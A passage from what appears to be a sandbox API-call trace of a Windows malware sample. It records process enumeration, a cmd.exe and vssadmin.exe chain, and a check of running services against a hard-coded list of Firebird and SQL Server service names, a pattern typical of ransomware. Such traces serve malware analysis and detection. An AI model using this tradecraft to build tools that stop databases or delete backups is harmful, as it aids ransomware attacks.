lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.478] lstrlenW (lpString="taskhost.exe") returned 12 [0120.478] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.479] lstrlenW (lpString="svchost.exe") returned 11 [0120.479] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.480] lstrlenW (lpString="taskeng.exe") returned 11 [0120.480] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.481] lstrlenW (lpString="taskhost.exe") returned 12 [0120.481] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0120.482] lstrlenW (lpString="fixwaves.exe") returned 12 [0120.482] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0120.483] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0120.483] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0120.565] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0120.565] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0120.566] lstrlenW (lpString="monsaver.exe") returned 12 [0120.566] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0120.567] lstrlenW (lpString="dosesugar.exe") returned 13 [0120.567] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0120.568] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0120.568] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0120.569] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0120.569] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0120.572] lstrlenW (lpString="nonprofit top.exe") returned 17 [0120.572] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0120.573] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0120.573] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0120.574] lstrlenW (lpString="accused.exe") returned 11 [0120.574] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0120.575] lstrlenW (lpString="governance.exe") returned 14 [0120.575] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0120.576] lstrlenW (lpString="old.exe") returned 7 [0120.576] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0120.577] lstrlenW (lpString="xi cg.exe") returned 9 [0120.577] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0120.626] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0120.626] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0120.627] lstrlenW (lpString="burlington.exe") returned 14 [0120.627] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0120.627] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0120.627] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0120.628] lstrlenW (lpString="buildings.exe") returned 13 [0120.628] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0120.629] lstrlenW (lpString="predictions_took.exe") returned 20 [0120.629] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0120.629] lstrlenW (lpString="carry_dns.exe") returned 13 [0120.629] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0120.630] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0120.630] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.631] lstrlenW (lpString="svchost.exe") returned 11 [0120.631] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.631] lstrlenW (lpString="sppsvc.exe") returned 10 [0120.631] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.632] lstrlenW (lpString="svchost.exe") returned 11 [0120.632] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0120.633] lstrlenW (lpString="msiexec.exe") returned 11 [0120.633] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0120.633] lstrlenW (lpString="cmd.exe") returned 7 [0120.633] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.634] lstrlenW (lpString="conhost.exe") returned 11 [0120.634] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0120.635] lstrlenW (lpString="vssadmin.exe") returned 12 [0120.635] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0120.635] lstrlenW (lpString="VSSVC.exe") returned 9 [0120.635] Process32NextW (in: hSnapshot=0x1ec, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0120.636] CloseHandle (hObject=0x1ec) returned 1 [0120.636] Sleep (dwMilliseconds=0x1f4) [0121.502] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52e9b8 [0121.502] EnumServicesStatusExW (in: hSCManager=0x52e9b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0121.502] GetLastError () returned 0xea [0121.502] EnumServicesStatusExW (in: hSCManager=0x52e9b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x30e1290, cbBufSize=0x13fc, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x30e1290, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0121.503] CloseServiceHandle (hSCObject=0x52e9b8) returned 1 [0121.503] lstrlenW (lpString="Appinfo") returned 7 [0121.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0121.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0121.503] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0121.503] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0121.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0121.503] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0121.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0121.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0121.503] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0121.503] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0121.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0121.503] lstrlenW (lpString="AudioSrv") returned 8 [0121.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0121.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0121.503] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0121.503] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0121.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0121.503] lstrlenW (lpString="BFE") returned 3 [0121.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0121.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0121.503] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0121.503] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0121.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0121.503] lstrlenW (lpString="CryptSvc") returned 8 [0121.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0121.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0121.503] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0121.503] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0121.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0121.503] lstrlenW (lpString="CscService") returned 10 [0121.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0121.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0121.504] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0121.504] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0121.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0121.504] lstrlenW (lpString="DcomLaunch") returned 10 [0121.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0121.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0121.504] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0121.504] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0121.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0121.504] lstrlenW (lpString="Dhcp") returned 4 [0121.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0121.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0121.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0121.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0121.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0121.504] lstrlenW (lpString="Dnscache") returned 8 [0121.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0121.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0121.504] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0121.504] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0121.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0121.504] lstrlenW (lpString="DPS") returned 3 [0121.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0121.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0121.504] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0121.504] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0121.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0121.504] lstrlenW (lpString="eventlog") returned 8 [0121.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0121.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0121.504] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0121.504] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0121.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0121.504] lstrlenW (lpString="EventSystem") returned 11 [0121.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0121.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0121.504] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0121.504] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0121.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0121.504] lstrlenW (lpString="FontCache") returned 9 [0121.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0121.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0121.505] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0121.505] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0121.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0121.505] lstrlenW (lpString="gpsvc") returned 5 [0121.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0121.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0121.505] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0121.505] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0121.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0121.505] lstrlenW (lpString="iphlpsvc") returned 8 [0121.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0121.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0121.505] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0121.505] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0121.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0121.505] lstrlenW (lpString="LanmanServer") returned 12 [0121.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0121.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0121.505] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0121.505] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0121.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0121.505] lstrlenW (lpString="LanmanWorkstation") returned 17 [0121.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0121.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0121.505] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0121.505] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0121.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0121.505] lstrlenW (lpString="lmhosts") returned 7 [0121.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0121.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0121.505] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0121.505] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0121.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0121.505] lstrlenW (lpString="MMCSS") returned 5 [0121.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0121.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0121.505] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0121.505] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0121.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0121.505] lstrlenW (lpString="MpsSvc") returned 6 [0121.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0121.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0121.505] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0121.506] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0121.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0121.506] lstrlenW (lpString="Netman") returned 6 [0121.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0121.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0121.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0121.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0121.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0121.506] lstrlenW (lpString="netprofm") returned 8 [0121.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0121.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0121.506] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0121.506] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0121.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0121.506] lstrlenW (lpString="NlaSvc") returned 6 [0121.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0121.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0121.506] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0121.506] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0121.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0121.506] lstrlenW (lpString="nsi") returned 3 [0121.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0121.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0121.506] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0121.506] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0121.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0121.506] lstrlenW (lpString="PcaSvc") returned 6 [0121.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0121.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0121.506] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0121.506] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0121.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0121.506] lstrlenW (lpString="PlugPlay") returned 8 [0121.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0121.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0121.506] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0121.506] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0121.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0121.506] lstrlenW (lpString="Power") returned 5 [0121.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0121.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0121.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0121.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0121.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0121.507] lstrlenW (lpString="ProfSvc") returned 7 [0121.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0121.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0121.507] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0121.507] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0121.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0121.507] lstrlenW (lpString="RpcEptMapper") returned 12 [0121.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0121.507] lstrcmpiW 